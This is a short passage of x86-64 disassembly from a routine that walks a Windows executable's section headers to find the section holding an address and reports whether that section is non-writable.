sub r8, rdx
movzx eax, word [rcx + 0x14]
lea rdx, [rcx + 0x18]
add rdx, rax
movzx eax, word [rcx + 6]
lea rcx, [rax + rax*4]
lea r9, [rdx + rcx*8]
mov qword [rsp], rdx
cmp rdx, r9
je 0x140001eb5
mov ecx, dword [rdx + 0xc]
cmp r8, rcx
jb 0x140001eaf
mov eax, dword [rdx + 8]
add eax, ecx
cmp r8, rax
jb 0x140001eb7
add rdx, 0x28
jmp 0x140001e94
xor edx, edx
test rdx, rdx
jne 0x140001ec0
xor al, al
jmp 0x140001ed7
test dword [rdx + 0x24], 0x80000000
je 0x140001ecd
xor al, al
jmp 0x140001ed7
mov al, 1
jmp 0x140001ed7
xor al, al
jmp 0x140001ed7
add rsp, 0x18
ret